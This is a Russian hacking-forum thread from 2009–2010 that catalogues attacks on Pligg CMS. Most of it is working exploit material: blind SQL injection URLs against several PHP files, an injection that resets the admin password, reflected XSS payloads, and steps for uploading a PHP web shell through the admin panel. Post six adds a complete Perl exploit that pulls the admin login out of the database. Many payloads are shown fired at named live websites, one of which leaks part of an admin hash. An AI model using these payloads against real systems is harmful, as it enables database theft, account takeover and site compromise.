ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Обзор уязвимостей Pligg
  #1  
Старый 29.06.2009, 18:28
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию Обзор уязвимостей Pligg

Продукт:
Pligg Content Management System
Beta 9.8
09.08.2007
Homepage: http://www.pligg.com
Дорк:
Powered By Pligg
Blind SQL-injection
magic_quotes = off
/out.php
PHP код:
------------------------
...
requestID $_REQUEST['id'];
$requestTitle $_REQUEST['title'];
$requestURL $_REQUEST['url'];

if(isset(
$requestTitle)){
    
$requestID $db->get_var("SELECT link_id FROM " table_links " WHERE `link_title_url` = '$requestTitle';");
}

if(isset(
$requestURL)){
    
$requestID $db->get_var("SELECT link_id FROM " table_links " WHERE `link_url` = '$requestURL';");
}

if(
is_numeric($requestID)) {
...
------------------------ 
exploit:
http://pligg/out.php?title=' union select if(true,1,null) -- -
http://pligg/out.php?title=' union select if(false,1,null) -- -
example:
Цитата:
http://tutoriality.com/out.php?title=1' union select if(true,1,null) -- -
http://tutoriality.com/out.php?title=1' union select if(false,1,null) -- -
exploit:
http://pligg/out.php?url=' union select if(true,1,null) -- -
http://pligg/out.php?url=' union select if(false,1,null) -- -
example:
Цитата:
http://tutoriality.com/out.php?url=' union select if(true,1,null) -- -
http://tutoriality.com/out.php?url=' union select if(false,1,null) -- -
Blind SQL-injection
register_globals = on
/userrss.php
PHP код:
------------------------
...
if(isset(
$_REQUEST['user'])){$login $_REQUEST['user'];}
$user=new User();
$user->username $login;
if(!
$user->read()) {
    echo 
"error: user does not exist";
    die;
}
...
if(!empty(
$_REQUEST['rows'])) 
    
$rows $_REQUEST['rows'];
else 
$rows 40;
...
    if(!empty(
$_REQUEST['status'])) {
        
$status $_REQUEST['status'];
    } else {
        
// By default it searches on all
        
if($search$status 'all';
        else 
$status 'all';
    }    
    
    switch (
$status) {
        case 
'published':
            
$order_field 'link_published_date';
            
$link_date 'published_date';
            
$title $main_smarty->get_config_vars("PLIGG_Visual_Published_News");
            
$from_where "FROM " table_links " WHERE link_status='published' ";
            break;
        case 
'queued':
...        case
...        case
...        }
    
$from_where .= " AND link_author=$user->id "//вот тут можно дописать кусок скул-запроса.
    
    
$order_by " ORDER BY $order_field DESC ";
    
$last_modified $db->get_var("SELECT UNIX_TIMESTAMP(max($order_field)) links $from_where");
    
$sql "SELECT DISTINCT link_id $from_where $order_by LIMIT $rows";
------------------------ 
exploit
http://pligg/userrss.php?user=god&rows=5&status=1&order_field=l ink_date&from_where=from pligg_links where link_id=1 and true -- -
http://pligg/userrss.php?user=god&rows=5&status=1&order_field=l ink_date&from_where=from pligg_links where link_id=1 and false -- -
example
Цитата:
http://masnoticias.dosmanzanas.com/userrss.php?user=BriceLamchi&rows=5&status=1&order _field=link_date&from_where=from pligg_links where link_id=1 and true -- -
http://masnoticias.dosmanzanas.com/userrss.php?user=BriceLamchi&rows=5&status=1&order _field=link_date&from_where=from pligg_links where link_id=1 and false -- -
Blind SQL-injection
magic_quotes_gpc = off
/login.php
PHP код:
------------------------
...
    if(
$_POST["processlogin"] == 3) { // if user requests forgotten password
        
$username trim($_POST['username']);
        if(
strlen($username) == 0){
            
$errorMsg $main_smarty->get_config_vars("PLIGG_Visual_Login_Forgot_Error");
        }
        else {
            
$user $db->get_row("SELECT * FROM `" table_users "` where `user_login` = '".$username."'");
            if(
$user){
                
$salt substr(md5(uniqid(rand(), true)), 0SALT_LENGTH);
...
------------------------ 
exploit:
POST:http://pligg/login.php?processlogin=3&username=root' or false -- -
POST:http://pligg/login.php?processlogin=3&username=root' or true -- -

if file_priv=Y
/login.php?processlogin=3&username=root' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25 into outfile '/path/pligg.txt' -- -
Цитата:
POST:http://www.innovationworx.com/cafe/login.php?processlogin=3&username=root' or true -- -
POST:http://www.innovationworx.com/cafe/login.php?processlogin=3&username=root' or false -- -
POST:http://www.innovationworx.com/cafe//login.php?processlogin=3&username=root' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25 into outfile '/tmp/tmp.txt' -- -
Blind SQL-injection
magic_quotes = off
/story.php
PHP код:
-------------------------
...
if(isset(
$_REQUEST['title'])){$requestTitle strip_tags($_REQUEST['title']);}
...
if(isset(
$requestTitle)){
    
$tmp "SELECT link_id FROM " table_links " WHERE `link_title_url` = '$requestTitle';";
    
$requestID $db->get_var($tmp);
    }
...
------------------------- 
exploit:
http://pligg/story.php?title=существующий title' and (substring(version(),1,1))>1-- -
example:
Цитата:
http://tutoriality.com/story.php?title=sweating__sweating' and (substring(version(),1,1))>1-- -
http://namecritics.com/story.php?title=clock_jewels' and (substring(version(),1,1))%3E1-- -
Blind SQL-injection
/editlink.php
PHP код:
-------------------------
...
if(isset(
$_GET['id'])){
    
$theid strip_tags($_GET['id']);
}
if(isset(
$_POST['id'])){
    
$theid strip_tags($_POST['id']);
}
...
$link $db->get_row("SELECT link_id, link_author FROM " table_links " WHERE link_id=".$theid.";");
if (
$link) {
    if (
$link->link_author==$current_user->user_id || $current_user->user_level == "admin" || $current_user->user_level == "god")
    {
...
------------------------- 
exploit
http://pligg/editlink.php?id=-1 union select 1,if(true,'god',1)-- -
http://pligg/editlink.php?id=-1 union select 1,if(false,'god',1)-- -

if file_priv=Y
http://pligg/editlink.php?id=-1 union select 1,2 into outfile 'c:/pligg.txt'-- -
example:
Цитата:
http://www.innovationworx.com/cafe/editlink.php?id=-1 union select 1,if(true,'god',1)-- -
http://www.innovationworx.com/cafe/editlink.php?id=-1 union select 1,if(false,'god',1)-- -
(c) AFoST
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #2  
Старый 29.06.2009, 18:50
Аватар для eLWAux
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

AFoST, в версии 1.0.0. все Blind'и не работают)
т.е. разработчики добавили ф-цию "антихак" sanitize(, и теперь код уже выглядит уже так%
PHP код:
$requestID sanitize($_REQUEST['id'], 3);
$requestTitle sanitize($_REQUEST['title'], 3);
$requestURL sanitize($_REQUEST['url'], 3); 

Pligg 1.0.0

pXSS
/register_complete.php
PHP код:
$user=$_GET['user'];

$usr = new User();
$usr->username $user;
if (
$usr->read()){
    
$email $usr->email;

exploit:
Код:
/register_complete.php?user=a<script>alert(/xss/);</script>
example:
Код:
http://www.gossipsnipper.com/register_complete.php?user=a<script>alert(/xss/);</script>
Full path disclosure
Код:
/install/header.php
/install/install0.php
/install/troubleshooter.php
/install/install1.php
/install/menu.php
/libs/backup/mysql_backup/backup.php
/libs/backup/mysql_backup/init.php

Последний раз редактировалось eLWAux; 29.06.2009 в 19:19..
 
Ответить с цитированием

  #3  
Старый 29.06.2009, 19:26
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Full path disclosure
/Config_File.class.php
/Smarty_Compiler.class.php
/Smarty_Test.class.php
/class.compiler.php
/podcast.php
/settings.php
Directory listing
при удачном htaccess
http://pligg/cache/
http://pligg/internal/
http://pligg/evb/
http://pligg/libs/
http://pligg/modules/
http://pligg/plugins/
http://pligg/templates/
http://pligg/templates_c/
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #4  
Старый 29.06.2009, 19:28
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Цитата:
Сообщение от eLWAux  
AFoST, в версии 1.0.0. все Blind'и не работают)
т.е. разработчики добавили ф-цию "антихак" sanitize(, и теперь код уже выглядит уже так%
PHP код:
$requestID sanitize($_REQUEST['id'], 3);
$requestTitle sanitize($_REQUEST['title'], 3);
$requestURL sanitize($_REQUEST['url'], 3); 
Она и в той версии был) но не везде =)
В этом двиге тот самый интересный Сцукокод на смену админского пароля)) Докрутить б...
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #5  
Старый 30.06.2009, 16:34
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

User password reset to "password"

Спасибо Gifts за помощь

PHP код:
    if($_GET["processlogin"] == 4) { // if user clicks on the forgotten password confirmation code
        
$username trim($_GET['username']);
        if(
strlen($username) == 0){
            
$errorMsg $main_smarty->get_config_vars("PLIGG_Visual_Login_Forgot_Error");
        }
        else {
            
$confirmationcode $_GET["confirmationcode"];
            
$DBconf $db->get_var("SELECT `last_reset_code` FROM `" table_users "` where `user_login` = '".$username."'");
            if(
$DBconf){
                if(
$DBconf == $confirmationcode && !empty($confirmationcode)){
                    
$db->query('UPDATE `' table_users '` SET `last_reset_code` = "" WHERE `user_login` = "'.$username.'"');
                    
$db->query('UPDATE `' table_users '` SET `user_pass` = "033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login` = "'.$username.'"');
                    
$errorMsg $main_smarty->get_config_vars('PLIGG_Visual_Login_Forgot_PassReset'); 
exploit:
/login.php?processlogin=4&username=" or user_login = "god" /*' and 1=0 UNION select 123/*&confirmationcode=123
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием

  #6  
Старый 17.01.2010, 14:51
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию

Version: 1.0.1 (возможно более ранние версии)
Default table prefix: pligg_

SQL Injection

Vuln file: /libs/search.php
кода довольно много, приводить не буду

Exploit:
Код:
http://[host]/[path]/search.php?search=paxek&slink=1&scategory=1)+union+select+(select+concat(0x3c62723e,user_login,0x3a,user_pass,0x3c62723e)+from+[prefix]users+where+user_id=1),null,null--+&adv=1
Цитата:
Example:
http://www.autoglassindustry.com/search.php?search=paxek&slink=1&scategory=1)+union +select+(select+concat(0x3c62723e,user_login,0x3a, user_pass,0x3c62723e)+from+pligg_users+where+user_ id=1),null,null--+&adv=1
------------------------------------------------------------------
Warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '
admin:9c4083ae2*********************************** *****
)' at line 1 in /home/glasind/public_html/libs/db.php on line 242
Version: 1.0.3 (последняя на данный момент)

Blind SQL Injection

Vuln file: /libs/search.php
Exploit:
Код:
http://[host]/[path]/search.php?search=[search_keywords]&slink=1&scategory=1[inj]&adv=1
Вывода как в версии 1.0.1 не получилось добиться, т.к по дефолту в конфиге "error_reporting(E_ERROR)", поэтому крутим как blind.
Написал эксплойт под это дело.
Код:
#!/usr/bin/perl

use LWP;
use Fcntl;

$title = "
[*]=====================================[*]
!                                         !
!  Pligg CMS Blind SQL Injection Exploit  !
!                                         !
!            Found && coded by RulleR     !
!                         Antichat.ru     !
!                                         !
[*]=====================================[*]
";
print $title;
print "\n[+] Enter Host: ";
chop ($host = <>);
print "\n[+] Enter Search Keywords: ";
chop ($searchkey = <>);
print "\n[+] Enter \"scategory\": ";
chop ($scat = <>);
print "\n[>] Exploiting started... $host\n\n";
print "    Please wait...\n\n";

#________________ CONFIG _______________

$regexp = '<a href=.*>'.$searchkey;
$length = 100;
$column = 'user_login';#concat_ws(0x3a,user_login,user_pass)
$prefix = 'pligg_';
$table = 'users';
$user_id = 1;
$filename = 'Pligg_exp_result.txt';
#_______________________________________

XEK: for ($start = 1; $start <= $length; $start++) {
         $min = 0;$max = 255;
         while(1) {		     
	         $x = int(($max - $min)/2 + $min);
			 if (&WebGet($host,$start,$x) =~ /$regexp/) {
			     $min = $x;
			 }
			 else {
				 $max = $x;
			 }
			 last XEK if ($max == 1);
			 if ($max - $min == 1) {
			     $char = chr($max);			     
			     push (@res, $char);
			     print @res,"\n";last;				 
			 }
			 
		 }
	 }

print "\n[!] Exploiting finished :)\n\n";
print "---------------------- [Result] ----------------------\n";
print @res,"\n";
print "------------------------------------------------------\n";

sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
print RESULT $title;
print RESULT "\n---------------------- [Result] ----------------------\n";
print RESULT @res; 
print RESULT "\n------------------------------------------------------\n";
close (RESULT);
print "\nResult saving in $filename\n";

sub WebGet() {
	 $inj = '/search.php?search='.$searchkey.'&slink=1&scategory='.$scat.'+and+ord(substr((select+'.$column.'+from+'.$prefix.$table.'+where+user_id='.$user_id.'),'.$_[1].',1))>'.$_[2].'&adv=1';	 
	 $request = HTTP::Request->new(GET => $_[0].$inj);
	 $u_a = LWP::UserAgent->new();
	 $u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	 $u_a->timeout(10);
	 $response = $u_a->request($request);
	 if ($response->is_error) {
	     print " ! Error: ".$response->status_line.".\n"; die " :(\n";
	 }
     return $response->content;
}
или берем с pastebin.com
Пример работы (получение login'а админа):
Код:
D:\\$_W3b-x3q\cms_all>pligg_exp.pl
[*]=====================================[*]
!                                         !
!  Pligg CMS Blind SQL Injection Exploit  !
!                                         !
!            Found && coded by RulleR     !
!                                         !
[*]=====================================[*]

[+] Enter Host: http://doanhnhanso.com/news

[+] Enter Search Keywords: Online

[+] Enter "scategory": 6

[>] Exploiting started... http://doanhnhanso.com/news

    Please wait...

d
do
doa
doan
doanh
doanhn
doanhnh
doanhnha
doanhnhan
doanhnhans
doanhnhanso

[!] Exploiting finished :)

---------------------- [Result] ----------------------
doanhnhanso
------------------------------------------------------

Result saving in Pligg_exp_result.txt
Passive XSS
Exploit:
Код:
http://[host]/[path]/search.php?search=</title><script>alert(1)</script>

http://[host]/[path]/search.php?"><script>alert(1)</script>
------------------------------------------------------------
Need: register_globals = ON
http://[host]/[path]/advancedsearch.php?category_option=<script>alert(1)</script>
Upload shell
Need:admin account

Admin --> Modules
Устанавливаем модуль Upload (по дефолту не установлен), включаем модуль (кликаем Disable).
Далее переходим в Settings --> General Settings
в Allowed File Type дописываем расширение php.
Добавляем новость и прикрепляем шелл. Шелл будет в /modules/upload/attachments/[name_shell].php

Последний раз редактировалось RulleR; 27.01.2010 в 23:33..
 
Ответить с цитированием

  #7  
Старый 26.01.2010, 01:10
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

RulleR, даже если вывода через ошибку нет, всё равно в сплоитах стоит использовать бинарный поиск, как минимум.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей RunCMS ] Solide Snake Сценарии/CMF/СMS 37 13.05.2010 18:21
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей #osCommerce# ] life_is_shit Сценарии/CMF/СMS 9 10.11.2009 17:43
Обзор уязвимостей движка трекера TBSource. Arigona Сценарии/CMF/СMS 1 28.12.2008 14:42



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ